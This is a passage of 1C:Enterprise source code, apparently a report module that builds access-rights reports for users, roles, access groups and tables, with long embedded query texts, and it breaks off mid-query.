Процедура НастроитьПараметрыКонтекстногоОткрытия(Контекст, Вариант, НастройкиКД, ПользовательскиеНастройкиКД) Если Вариант = "ПраваПользователейНаТаблицу" Или Вариант = "ПраваПользователяНаТаблицу" Тогда ОбъектМетаданных = ОбщегоНазначения.ИдентификаторОбъектаМетаданных(Контекст.КонтекстВарианта, Ложь); Если ЗначениеЗаполнено(ОбъектМетаданных) Тогда ОбщегоНазначенияКлиентСервер.УстановитьЭлементОтбора(НастройкиКД.Отбор, "ОбъектМетаданных", ОбъектМетаданных, ВидСравненияКомпоновкиДанных.Равно, , Истина); КонецЕсли; ИначеЕсли Вариант = "ПраваПользователейНаТаблицы" Или Вариант = "ПраваПользователяНаТаблицы" Тогда Если Контекст.Параметры.Свойство("ПараметрКоманды") Тогда СписокПользователей = Новый СписокЗначений; СписокПользователей.ЗагрузитьЗначения(Контекст.Параметры.ПараметрКоманды); ПользователиСлужебный.УстановитьОтборДляПараметра("Пользователь", СписокПользователей, НастройкиКД, ПользовательскиеНастройкиКД); КонецЕсли; ИначеЕсли Вариант = "ПраваПользователейНаОбъект" Тогда Если Контекст.Параметры.Свойство("ПараметрКоманды") Тогда ПользователиСлужебный.УстановитьОтборДляПараметра("ЭлементДанных", Контекст.Параметры.ПараметрКоманды, НастройкиКД, ПользовательскиеНастройкиКД); КонецЕсли; ИначеЕсли Вариант = "ПраваПользователейВРазрезеРазрешенногоЗначения" Тогда Если Контекст.Параметры.Свойство("ПараметрКоманды") Тогда ПользователиСлужебный.УстановитьОтборДляПараметра("ЗначениеДоступа", Контекст.Параметры.ПараметрКоманды, НастройкиКД, ПользовательскиеНастройкиКД); КонецЕсли; КонецЕсли; КонецПроцедуры Функция ТаблицыОтчетов() Результат = ПустаяКоллекцияТаблицОтчетов(); ОписаниеТиповИдентификатора = ОписаниеТиповИдентификатора(); ВыбранныйОтчет = ВыбранныйОтчет(); ИспользуемыеТаблицы = Неопределено; Если ЗначениеЗаполнено(ВыбранныйОтчет) И КомпоновщикНастроек.ПользовательскиеНастройки.ДополнительныеСвойства.Свойство("ИспользуемыеТаблицы", ИспользуемыеТаблицы) И ИспользуемыеТаблицы <> Неопределено Тогда ИдентификаторыОбъектовМетаданных = ОбщегоНазначения.ИдентификаторыОбъектовМетаданных(ИспользуемыеТаблицы, Ложь); Для Каждого Таблица Из ИспользуемыеТаблицы Цикл ИдентификаторТаблицы = ИдентификаторыОбъектовМетаданных[Таблица]; СтрокаТаблицы = Результат.Добавить(); СтрокаТаблицы.Отчет = ВыбранныйОтчет; СтрокаТаблицы.ОбъектМетаданных = ИдентификаторТаблицы; КонецЦикла; Если Не ЗначениеЗаполнено(Результат) Тогда СтрокаТаблицы = Результат.Добавить(); СтрокаТаблицы.Отчет = ВыбранныйОтчет; СтрокаТаблицы.ОбъектМетаданных = Неопределено; КонецЕсли; Возврат Результат; КонецЕсли; Если ЗначениеЗаполнено(ВыбранныйОтчет) И ОписаниеТиповИдентификатора.СодержитТип(ТипЗнч(ВыбранныйОтчет)) Тогда ОбъектМетаданныхВыбранныйОтчет = ОбщегоНазначения.ОбъектМетаданныхПоИдентификатору(ВыбранныйОтчет, Ложь); КонецЕсли; ТаблицыОтчетов = Новый ТаблицаЗначений; ТаблицыОтчетов.Колонки.Добавить("Отчет"); ТаблицыОтчетов.Колонки.Добавить("ОбъектМетаданных"); Если ОбщегоНазначения.ПодсистемаСуществует("СтандартныеПодсистемы.ВариантыОтчетов") Тогда МодульВариантыОтчетов = ОбщегоНазначения.ОбщийМодуль("ВариантыОтчетов"); ВладельцыТаблиц = Новый Соответствие; Для Каждого ОбъектМетаданныхОтчет Из Метаданные.Отчеты Цикл Если ТипЗнч(ОбъектМетаданныхВыбранныйОтчет) = Тип("ОбъектМетаданных") И ОбъектМетаданныхОтчет <> ОбъектМетаданныхВыбранныйОтчет Тогда Продолжить; КонецЕсли; Если Не ПравоДоступа("Просмотр", ОбъектМетаданныхОтчет) Тогда Продолжить; КонецЕсли; ИспользуемыеТаблицы = МодульВариантыОтчетов.ИспользуемыеТаблицыОтчета(ОбъектМетаданныхОтчет); Для Каждого ИмяТаблицы Из ИспользуемыеТаблицы Цикл ИспользуемаяТаблица = ВладельцыТаблиц[ИмяТаблицы]; Если ИспользуемаяТаблица = Неопределено Тогда ВладелецТаблицы = ИмяТаблицы; ЧастиСтроки = СтрРазделить(ВладелецТаблицы, ".", Истина); Если ЧастиСтроки.Количество() = 1 Тогда Продолжить; КонецЕсли; Если ЧастиСтроки.Количество() > 2 Тогда ВладелецТаблицы = ЧастиСтроки[0] + "." + ЧастиСтроки[1]; КонецЕсли; ВладельцыТаблиц.Вставить(ИмяТаблицы, ВладелецТаблицы); ИспользуемаяТаблица = ВладелецТаблицы; КонецЕсли; СтрокаТаблицы = ТаблицыОтчетов.Добавить(); СтрокаТаблицы.Отчет = ОбъектМетаданныхОтчет.ПолноеИмя(); СтрокаТаблицы.ОбъектМетаданных = ИспользуемаяТаблица; КонецЦикла; КонецЦикла; ТаблицыОтчетов.Свернуть("Отчет, ОбъектМетаданных"); КонецЕсли; ИменаОбъектовМетаданных = ТаблицыОтчетов.ВыгрузитьКолонку("ОбъектМетаданных"); ОтчетыСТаблицами = Новый Соответствие; Для Каждого ОбъектМетаданныхОтчет Из Метаданные.Отчеты Цикл Если ТипЗнч(ОбъектМетаданныхВыбранныйОтчет) = Тип("ОбъектМетаданных") И ОбъектМетаданныхОтчет <> ОбъектМетаданныхВыбранныйОтчет Тогда Продолжить; КонецЕсли; ПолноеИмяОтчета = ОбъектМетаданныхОтчет.ПолноеИмя(); ОтчетыСТаблицами.Вставить(ПолноеИмяОтчета, Ложь); ИменаОбъектовМетаданных.Добавить(ПолноеИмяОтчета); КонецЦикла; ИдентификаторыОбъектовМетаданных = ОбщегоНазначения.ИдентификаторыОбъектовМетаданных(ИменаОбъектовМетаданных, Ложь); Для Каждого СтрокаТаблицы Из ТаблицыОтчетов Цикл ИдентификаторТаблицы = ИдентификаторыОбъектовМетаданных[СтрокаТаблицы.ОбъектМетаданных]; Если Не ЗначениеЗаполнено(ИдентификаторТаблицы) Тогда Продолжить; КонецЕсли; НоваяСтрока = Результат.Добавить(); НоваяСтрока.Отчет = ИдентификаторыОбъектовМетаданных[СтрокаТаблицы.Отчет]; НоваяСтрока.ОбъектМетаданных = ИдентификаторТаблицы; ОтчетыСТаблицами.Вставить(СтрокаТаблицы.Отчет, Истина); КонецЦикла; Для Каждого КлючИЗначение Из ОтчетыСТаблицами Цикл Если КлючИЗначение.Значение Тогда Продолжить; КонецЕсли; НоваяСтрока = Результат.Добавить(); НоваяСтрока.Отчет = ИдентификаторыОбъектовМетаданных[КлючИЗначение.Ключ]; НоваяСтрока.ОбъектМетаданных = Неопределено; КонецЦикла; Возврат Результат; КонецФункции Функция ОписаниеТиповИдентификатора() Возврат Новый ОписаниеТипов("СправочникСсылка.ИдентификаторыОбъектовМетаданных, |СправочникСсылка.ИдентификаторыОбъектовРасширений"); КонецФункции Функция ПустаяКоллекцияТаблицОтчетов() ОписаниеТиповИдентификатора = ОписаниеТиповИдентификатора(); Результат = Новый ТаблицаЗначений; Результат.Колонки.Добавить("Отчет", ОписаниеТиповИдентификатора); Результат.Колонки.Добавить("ОбъектМетаданных", ОписаниеТиповИдентификатора); Возврат Результат; КонецФункции Функция ПраваРолейНаОтчеты() Результат = ПустаяКоллекцияПравРолейНаОтчеты(); ОписаниеТиповИдентификатора = ОписаниеТиповИдентификатора(); ВыбранныйОтчет = ВыбранныйОтчет(); Если ЗначениеЗаполнено(ВыбранныйОтчет) И ОписаниеТиповИдентификатора.СодержитТип(ТипЗнч(ВыбранныйОтчет)) Тогда ОбъектМетаданныхВыбранныйОтчет = ОбщегоНазначения.ОбъектМетаданныхПоИдентификатору(ВыбранныйОтчет, Ложь); КонецЕсли; ИменаОбъектовМетаданных = Новый Массив; Для Каждого ОбъектМетаданныхРоль Из Метаданные.Роли Цикл ИменаОбъектовМетаданных.Добавить(ОбъектМетаданныхРоль.ПолноеИмя()); КонецЦикла; Для Каждого ОбъектМетаданныхОтчет Из Метаданные.Отчеты Цикл Если ТипЗнч(ОбъектМетаданныхВыбранныйОтчет) = Тип("ОбъектМетаданных") И ОбъектМетаданныхОтчет <> ОбъектМетаданныхВыбранныйОтчет Тогда Продолжить; КонецЕсли; ИменаОбъектовМетаданных.Добавить(ОбъектМетаданныхОтчет.ПолноеИмя()); КонецЦикла; ИдентификаторыОбъектовМетаданных = ОбщегоНазначения.ИдентификаторыОбъектовМетаданных(ИменаОбъектовМетаданных, Ложь); Для Каждого ОбъектМетаданныхОтчет Из Метаданные.Отчеты Цикл Если ТипЗнч(ОбъектМетаданныхВыбранныйОтчет) = Тип("ОбъектМетаданных") И ОбъектМетаданныхОтчет <> ОбъектМетаданныхВыбранныйОтчет Тогда Продолжить; КонецЕсли; Для Каждого ОбъектМетаданныхРоль Из Метаданные.Роли Цикл Если ПравоДоступа("Просмотр", ОбъектМетаданныхОтчет, ОбъектМетаданныхРоль) Тогда СтрокаТаблицы = Результат.Добавить(); СтрокаТаблицы.Отчет = ИдентификаторыОбъектовМетаданных[ОбъектМетаданныхОтчет.ПолноеИмя()]; СтрокаТаблицы.Роль = ИдентификаторыОбъектовМетаданных[ОбъектМетаданныхРоль.ПолноеИмя()]; КонецЕсли; КонецЦикла; КонецЦикла; Возврат Результат; КонецФункции Функция ПустаяКоллекцияПравРолейНаОтчеты() ОписаниеТиповИдентификатора = ОписаниеТиповИдентификатора(); Результат = Новый ТаблицаЗначений; Результат.Колонки.Добавить("Отчет", ОписаниеТиповИдентификатора); Результат.Колонки.Добавить("Роль", ОписаниеТиповИдентификатора); Возврат Результат; КонецФункции Функция ТекстЗапросаОбщий() Возврат "ВЫБРАТЬ | ПраваРолей.ОбъектМетаданных КАК ОбъектМетаданных, | ПраваРолей.Роль КАК Роль, | ПраваРолей.ПравоИзменение КАК ПравоИзменение, | ПраваРолей.ПравоДобавление КАК ПравоДобавление, | ПраваРолей.ПравоЧтениеБезОграничения КАК ПравоЧтениеБезОграничения, | ПраваРолей.ПравоИзменениеБезОграничения КАК ПравоИзменениеБезОграничения, | ПраваРолей.ПравоДобавлениеБезОграничения КАК ПравоДобавлениеБезОграничения, | ПраваРолей.ПравоПросмотр КАК ПравоПросмотр, | ПраваРолей.ПравоРедактирование КАК ПравоРедактирование, | ПраваРолей.ПравоИнтерактивноеДобавление КАК ПравоИнтерактивноеДобавление, | ПраваРолей.ВидИзмененияСтроки КАК ВидИзмененияСтроки |ПОМЕСТИТЬ ПраваРолейРасширений |ИЗ | &ПраваРолейРасширений КАК ПраваРолей |ГДЕ | &ОтборПравПоТаблицам |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ПраваРолейРасширений.ОбъектМетаданных КАК ОбъектМетаданных, | ПраваРолейРасширений.Роль КАК Роль, | ИСТИНА КАК ПравоЧтение, | ПраваРолейРасширений.ПравоИзменение КАК ПравоИзменение, | ПраваРолейРасширений.ПравоДобавление КАК ПравоДобавление, | ПраваРолейРасширений.ПравоЧтениеБезОграничения КАК ПравоЧтениеБезОграничения, | ПраваРолейРасширений.ПравоИзменениеБезОграничения КАК ПравоИзменениеБезОграничения, | ПраваРолейРасширений.ПравоДобавлениеБезОграничения КАК ПравоДобавлениеБезОграничения, | ПраваРолейРасширений.ПравоПросмотр КАК ПравоПросмотр, | ПраваРолейРасширений.ПравоРедактирование КАК ПравоРедактирование, | ПраваРолейРасширений.ПравоИнтерактивноеДобавление КАК ПравоИнтерактивноеДобавление |ПОМЕСТИТЬ ПраваРолей |ИЗ | ПраваРолейРасширений КАК ПраваРолейРасширений |ГДЕ | ПраваРолейРасширений.ВидИзмененияСтроки = 1 | |ОБЪЕДИНИТЬ ВСЕ | |ВЫБРАТЬ | ПраваРолей.ОбъектМетаданных, | ПраваРолей.Роль, | ИСТИНА, | ПраваРолей.ПравоИзменение, | ПраваРолей.ПравоДобавление, | ПраваРолей.ПравоЧтениеБезОграничения, | ПраваРолей.ПравоИзменениеБезОграничения, | ПраваРолей.ПравоДобавлениеБезОграничения, | ПраваРолей.ПравоПросмотр, | ПраваРолей.ПравоРедактирование, | ПраваРолей.ПравоИнтерактивноеДобавление |ИЗ | РегистрСведений.ПраваРолей КАК ПраваРолей | ЛЕВОЕ СОЕДИНЕНИЕ ПраваРолейРасширений КАК ПраваРолейРасширений | ПО ПраваРолей.ОбъектМетаданных = ПраваРолейРасширений.ОбъектМетаданных | И ПраваРолей.Роль = ПраваРолейРасширений.Роль |ГДЕ | ПраваРолейРасширений.ОбъектМетаданных ЕСТЬ NULL | И &ОтборПравПоТаблицам | |ИНДЕКСИРОВАТЬ ПО | Роль |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ПрофилиГруппДоступаРоли.Ссылка КАК Профиль, | ПраваРолей.ОбъектМетаданных КАК Таблица, | МАКСИМУМ(ПраваРолей.ПравоЧтение) КАК ПравоЧтение, | МАКСИМУМ(ПраваРолей.ПравоИзменение) КАК ПравоИзменение, | МАКСИМУМ(ПраваРолей.ПравоДобавление) КАК ПравоДобавление, | МАКСИМУМ(ПраваРолей.ПравоЧтениеБезОграничения) КАК ПравоЧтениеБезОграничения, | МАКСИМУМ(ПраваРолей.ПравоИзменениеБезОграничения) КАК ПравоИзменениеБезОграничения, | МАКСИМУМ(ПраваРолей.ПравоДобавлениеБезОграничения) КАК ПравоДобавлениеБезОграничения, | МАКСИМУМ(ПраваРолей.ПравоПросмотр) КАК ПравоПросмотр, | МАКСИМУМ(ПраваРолей.ПравоРедактирование) КАК ПравоРедактирование, | МАКСИМУМ(ПраваРолей.ПравоИнтерактивноеДобавление) КАК ПравоИнтерактивноеДобавление |ПОМЕСТИТЬ ПраваПрофилейНаТаблицы |ИЗ | ПраваРолей КАК ПраваРолей | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ПрофилиГруппДоступа.Роли КАК ПрофилиГруппДоступаРоли | ПО ПраваРолей.Роль = ПрофилиГруппДоступаРоли.Роль | И (НЕ ПрофилиГруппДоступаРоли.Ссылка.ПометкаУдаления) | |СГРУППИРОВАТЬ ПО | ПрофилиГруппДоступаРоли.Ссылка, | ПраваРолей.ОбъектМетаданных | |ИНДЕКСИРОВАТЬ ПО | Таблица"; КонецФункции Функция ТекстЗапросаБезГруппировкиПоОтчетам() Возврат "ВЫБРАТЬ РАЗЛИЧНЫЕ | ПраваПрофилей.Таблица КАК ОбъектМетаданных, | ВЫБОР | КОГДА &УпрощенныйИнтерфейсНастройкиПравДоступа | ТОГДА ГруппыДоступа.Профиль | ИНАЧЕ ГруппыДоступа.Ссылка | КОНЕЦ КАК ГруппаДоступа, | ПраваПрофилей.ПравоЧтение КАК ПравоЧтение, | ПраваПрофилей.ПравоИзменение КАК ПравоИзменение, | ПраваПрофилей.ПравоДобавление КАК ПравоДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоДобавление | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоИзменение | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоЧтение | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК Право, | ПраваПрофилей.ПравоЧтениеБезОграничения КАК ПравоЧтениеБезОграничения, | ПраваПрофилей.ПравоИзменениеБезОграничения КАК ПравоИзменениеБезОграничения, | ПраваПрофилей.ПравоДобавлениеБезОграничения КАК ПравоДобавлениеБезОграничения, | ВЫБОР | КОГДА ПраваПрофилей.ПравоДобавлениеБезОграничения | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоИзменениеБезОграничения | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоЧтениеБезОграничения | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоБезОграничения, | ПраваПрофилей.ПравоПросмотр КАК ПравоПросмотр, | ПраваПрофилей.ПравоРедактирование КАК ПравоРедактирование, | ПраваПрофилей.ПравоИнтерактивноеДобавление КАК ПравоИнтерактивноеДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоИнтерактивноеДобавление | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоРедактирование | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоПросмотр | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоИнтерактивное, | СоставыГруппПользователей.Пользователь КАК Пользователь, | ЕСТЬNULL(СведенияОПользователях.ВходВПрограммуРазрешен, ЛОЖЬ) КАК ВходВПрограммуРазрешен |ИЗ | ПраваПрофилейНаТаблицы КАК ПраваПрофилей | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа КАК ГруппыДоступа | ПО (ГруппыДоступа.Профиль = ПраваПрофилей.Профиль) | И (НЕ ГруппыДоступа.ПометкаУдаления) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа.Пользователи КАК УчастникиГруппДоступа | ПО (УчастникиГруппДоступа.Ссылка = ГруппыДоступа.Ссылка) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО (СоставыГруппПользователей.ГруппаПользователей = УчастникиГруппДоступа.Пользователь) | И (ЕСТЬNULL(СоставыГруппПользователей.Пользователь.Служебный, ЛОЖЬ) <> ИСТИНА) | И (&УсловиеОтбораПоПользователям) | ЛЕВОЕ СОЕДИНЕНИЕ РегистрСведений.СведенияОПользователях КАК СведенияОПользователях | ПО (СведенияОПользователях.Пользователь = СоставыГруппПользователей.Пользователь)"; КонецФункции Функция ТекстЗапросаПравОбъекта() Возврат "ВЫБРАТЬ | ПраваНаЭлементДанных.ПользовательСПравом КАК Пользователь, | ПраваНаЭлементДанных.ПравоИзменение КАК ПравоИзменение |ПОМЕСТИТЬ ПраваНаЭлементДанных |ИЗ | &ПраваНаЭлементДанных КАК ПраваНаЭлементДанных |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ РАЗЛИЧНЫЕ | ПраваПрофилей.Таблица КАК ОбъектМетаданных, | ЗНАЧЕНИЕ(Справочник.ГруппыДоступа.ПустаяСсылка) КАК ГруппаДоступа, | ПраваПрофилей.ПравоЧтение КАК ПравоЧтение, | ПраваПрофилей.ПравоИзменение | И ПраваНаЭлементДанных.ПравоИзменение КАК ПравоИзменение, | ЛОЖЬ КАК ПравоДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоИзменение И ПраваНаЭлементДанных.ПравоИзменение | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоЧтение | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК Право, | ПраваПрофилей.ПравоЧтениеБезОграничения КАК ПравоЧтениеБезОграничения, | ПраваПрофилей.ПравоИзменениеБезОграничения КАК ПравоИзменениеБезОграничения, | ЛОЖЬ КАК ПравоДобавлениеБезОграничения, | ВЫБОР | КОГДА ПраваПрофилей.ПравоИзменениеБезОграничения | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоЧтениеБезОграничения | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоБезОграничения, | ПраваПрофилей.ПравоПросмотр КАК ПравоПросмотр, | ПраваПрофилей.ПравоРедактирование | И ПраваНаЭлементДанных.ПравоИзменение КАК ПравоРедактирование, | ЛОЖЬ КАК ПравоИнтерактивноеДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоРедактирование | И ПраваНаЭлементДанных.ПравоИзменение | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоПросмотр | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоИнтерактивное, | СоставыГруппПользователей.Пользователь КАК Пользователь, | ЕСТЬNULL(СведенияОПользователях.ВходВПрограммуРазрешен, ЛОЖЬ) КАК ВходВПрограммуРазрешен |ИЗ | ПраваПрофилейНаТаблицы КАК ПраваПрофилей | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа КАК ГруппыДоступа | ПО (ГруппыДоступа.Профиль = ПраваПрофилей.Профиль) | И (НЕ ГруппыДоступа.ПометкаУдаления) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа.Пользователи КАК УчастникиГруппДоступа | ПО (УчастникиГруппДоступа.Ссылка = ГруппыДоступа.Ссылка) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО (СоставыГруппПользователей.ГруппаПользователей = УчастникиГруппДоступа.Пользователь) | И (ЕСТЬNULL(СоставыГруппПользователей.Пользователь.Служебный, ЛОЖЬ) <> ИСТИНА) | И (&УсловиеОтбораПоПользователям) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ПраваНаЭлементДанных КАК ПраваНаЭлементДанных | ПО (ПраваНаЭлементДанных.Пользователь = СоставыГруппПользователей.Пользователь) | ЛЕВОЕ СОЕДИНЕНИЕ РегистрСведений.СведенияОПользователях КАК СведенияОПользователях | ПО (СведенияОПользователях.Пользователь = СоставыГруппПользователей.Пользователь)"; КонецФункции Функция ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаНачало() Возврат "ВЫБРАТЬ | ГруппыДоступа.Профиль КАК Профиль, | ГруппыДоступа.Ссылка КАК ГруппаДоступа |ПОМЕСТИТЬ ГруппыДоступаПользователей |ИЗ | Справочник.ГруппыДоступа КАК ГруппыДоступа | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа.Пользователи КАК УчастникиГруппДоступа | ПО (УчастникиГруппДоступа.Ссылка = ГруппыДоступа.Ссылка) | И (НЕ ГруппыДоступа.ПометкаУдаления) | И (ГруппыДоступа.Профиль В | (ВЫБРАТЬ РАЗЛИЧНЫЕ | ПраваПрофилей.Профиль | ИЗ | ПраваПрофилейНаТаблицы КАК ПраваПрофилей)) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО (СоставыГруппПользователей.ГруппаПользователей = УчастникиГруппДоступа.Пользователь) | И (ЕСТЬNULL(СоставыГруппПользователей.Пользователь.Служебный, ЛОЖЬ) <> ИСТИНА) | И (&УсловиеОтбораПоПользователям)"; КонецФункции Функция ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаВидыОграниченийПоСтарому() Возврат "ВЫБРАТЬ | ВидыОграниченийПрав.Таблица КАК Таблица, | ВидыОграниченийПрав.Право КАК Право, | ВидыОграниченийПрав.ВидДоступа КАК ВидДоступа, | ВидыОграниченийПрав.Представление КАК ВидДоступаПредставление, | ВидыОграниченийПрав.ЭтоАвторизованныйПользователь КАК ЭтоАвторизованныйПользователь |ПОМЕСТИТЬ ВидыОграниченийПравИсходные |ИЗ | &ВидыОграниченийПрав КАК ВидыОграниченийПрав |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ВидыОграниченийПрав.Таблица КАК Таблица, | ВидыОграниченийПрав.ВидДоступа КАК ВидДоступа, | ВидыОграниченийПрав.ВидДоступаПредставление КАК ВидДоступаПредставление, | ВидыОграниченийПрав.ЭтоАвторизованныйПользователь КАК ЭтоАвторизованныйПользователь, | МАКСИМУМ(ВидыОграниченийПрав.Право = ""Чтение"") КАК ПравоЧтение, | МАКСИМУМ(ВидыОграниченийПрав.Право = ""Изменение"") КАК ПравоИзменение |ПОМЕСТИТЬ ВидыОграниченийПравПреобразованные |ИЗ | ВидыОграниченийПравИсходные КАК ВидыОграниченийПрав | |СГРУППИРОВАТЬ ПО | ВидыОграниченийПрав.Таблица, | ВидыОграниченийПрав.ВидДоступа, | ВидыОграниченийПрав.ВидДоступаПредставление, | ВидыОграниченийПрав.ЭтоАвторизованныйПользователь |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ЛОЖЬ КАК ДляВнешнихПользователей, | ВидыОграниченийПрав.Таблица КАК Таблица, | ВидыОграниченийПрав.ВидДоступа КАК ВидДоступа, | ВидыОграниченийПрав.ВидДоступаПредставление КАК ВидДоступаПредставление, | ВидыОграниченийПрав.ЭтоАвторизованныйПользователь КАК ЭтоАвторизованныйПользователь, | ВидыОграниченийПрав.ПравоЧтение КАК ПравоЧтение, | ВидыОграниченийПрав.ПравоИзменение КАК ПравоИзменение |ПОМЕСТИТЬ ВидыОграниченийПрав |ИЗ | ВидыОграниченийПравПреобразованные КАК ВидыОграниченийПрав |ГДЕ | ТИПЗНАЧЕНИЯ(ВидыОграниченийПрав.ВидДоступа) <> ТИП(Справочник.ВнешниеПользователи) | |ОБЪЕДИНИТЬ ВСЕ | |ВЫБРАТЬ | ИСТИНА, | ВидыОграниченийПрав.Таблица, | ВидыОграниченийПрав.ВидДоступа, | ВидыОграниченийПрав.ВидДоступаПредставление, | ВидыОграниченийПрав.ЭтоАвторизованныйПользователь, | ВидыОграниченийПрав.ПравоЧтение, | ВидыОграниченийПрав.ПравоИзменение |ИЗ | ВидыОграниченийПравПреобразованные КАК ВидыОграниченийПрав |ГДЕ | ТИПЗНАЧЕНИЯ(ВидыОграниченийПрав.ВидДоступа) <> ТИП(Справочник.Пользователи)"; КонецФункции Функция ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаВидыОграниченийПоНовому() Возврат "ВЫБРАТЬ | ВидыОграниченийПрав.ДляВнешнихПользователей КАК ДляВнешнихПользователей, | ВидыОграниченийПрав.Таблица КАК Таблица, | ВидыОграниченийПрав.Право КАК Право, | ВидыОграниченийПрав.ВидДоступа КАК ВидДоступа, | ВидыОграниченийПрав.Представление КАК ВидДоступаПредставление, | ВидыОграниченийПрав.ЭтоАвторизованныйПользователь КАК ЭтоАвторизованныйПользователь |ПОМЕСТИТЬ ВидыОграниченийПравИсходные |ИЗ | &ВидыОграниченийПрав КАК ВидыОграниченийПрав |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ВидыОграниченийПрав.ДляВнешнихПользователей КАК ДляВнешнихПользователей, | ВидыОграниченийПрав.Таблица КАК Таблица, | ВидыОграниченийПрав.ВидДоступа КАК ВидДоступа, | ВидыОграниченийПрав.ВидДоступаПредставление КАК ВидДоступаПредставление, | ВидыОграниченийПрав.ЭтоАвторизованныйПользователь КАК ЭтоАвторизованныйПользователь, | МАКСИМУМ(ВидыОграниченийПрав.Право = ""Чтение"") КАК ПравоЧтение, | МАКСИМУМ(ВидыОграниченийПрав.Право = ""Изменение"") КАК ПравоИзменение |ПОМЕСТИТЬ ВидыОграниченийПрав |ИЗ | ВидыОграниченийПравИсходные КАК ВидыОграниченийПрав | |СГРУППИРОВАТЬ ПО | ВидыОграниченийПрав.ДляВнешнихПользователей, | ВидыОграниченийПрав.Таблица, | ВидыОграниченийПрав.ВидДоступа, | ВидыОграниченийПрав.ЭтоАвторизованныйПользователь, | ВидыОграниченийПрав.ВидДоступаПредставление"; КонецФункции Функция ТекстЗапросаБезГруппировкиПоОтчетамСОграничениямиДоступаКонец() Возврат "ВЫБРАТЬ РАЗЛИЧНЫЕ | ВидыИЗначенияДоступа.ГруппаДоступа КАК ГруппаДоступа, | ВидыИЗначенияДоступа.ВидДоступа КАК ВидДоступа, | ВидыИЗначенияДоступа.ВсеРазрешены КАК ВсеРазрешены, | ВидыИЗначенияДоступа.ЗначениеДоступа КАК ЗначениеДоступа |ПОМЕСТИТЬ ВидыИЗначенияДоступа |ИЗ | (ВЫБРАТЬ | ГруппыДоступаПользователей.ГруппаДоступа КАК ГруппаДоступа, | ГруппыДоступаВидыДоступа.ВидДоступа КАК ВидДоступа, | ГруппыДоступаВидыДоступа.ВсеРазрешены КАК ВсеРазрешены, | ЕСТЬNULL(ГруппыДоступаЗначенияДоступа.ЗначениеДоступа, НЕОПРЕДЕЛЕНО) КАК ЗначениеДоступа | ИЗ | ГруппыДоступаПользователей КАК ГруппыДоступаПользователей | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа.ВидыДоступа КАК ГруппыДоступаВидыДоступа | ПО (ГруппыДоступаВидыДоступа.Ссылка = ГруппыДоступаПользователей.ГруппаДоступа) | ЛЕВОЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа.ЗначенияДоступа КАК ГруппыДоступаЗначенияДоступа | ПО (ГруппыДоступаЗначенияДоступа.Ссылка = ГруппыДоступаВидыДоступа.Ссылка) | И (ГруппыДоступаЗначенияДоступа.ВидДоступа = ГруппыДоступаВидыДоступа.ВидДоступа) | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ | ГруппыДоступаПользователей.ГруппаДоступа, | ПрофилиГруппДоступаВидыДоступа.ВидДоступа, | ПрофилиГруппДоступаВидыДоступа.ВсеРазрешены, | ЕСТЬNULL(ПрофилиГруппДоступаЗначенияДоступа.ЗначениеДоступа, НЕОПРЕДЕЛЕНО) | ИЗ | ГруппыДоступаПользователей КАК ГруппыДоступаПользователей | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ПрофилиГруппДоступа.ВидыДоступа КАК ПрофилиГруппДоступаВидыДоступа | ПО (ПрофилиГруппДоступаВидыДоступа.Ссылка = ГруппыДоступаПользователей.Профиль) | ЛЕВОЕ СОЕДИНЕНИЕ Справочник.ПрофилиГруппДоступа.ЗначенияДоступа КАК ПрофилиГруппДоступаЗначенияДоступа | ПО (ПрофилиГруппДоступаЗначенияДоступа.Ссылка = ПрофилиГруппДоступаВидыДоступа.Ссылка) | И (ПрофилиГруппДоступаЗначенияДоступа.ВидДоступа = ПрофилиГруппДоступаВидыДоступа.ВидДоступа) | ГДЕ | ПрофилиГруппДоступаВидыДоступа.Предустановленный | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ 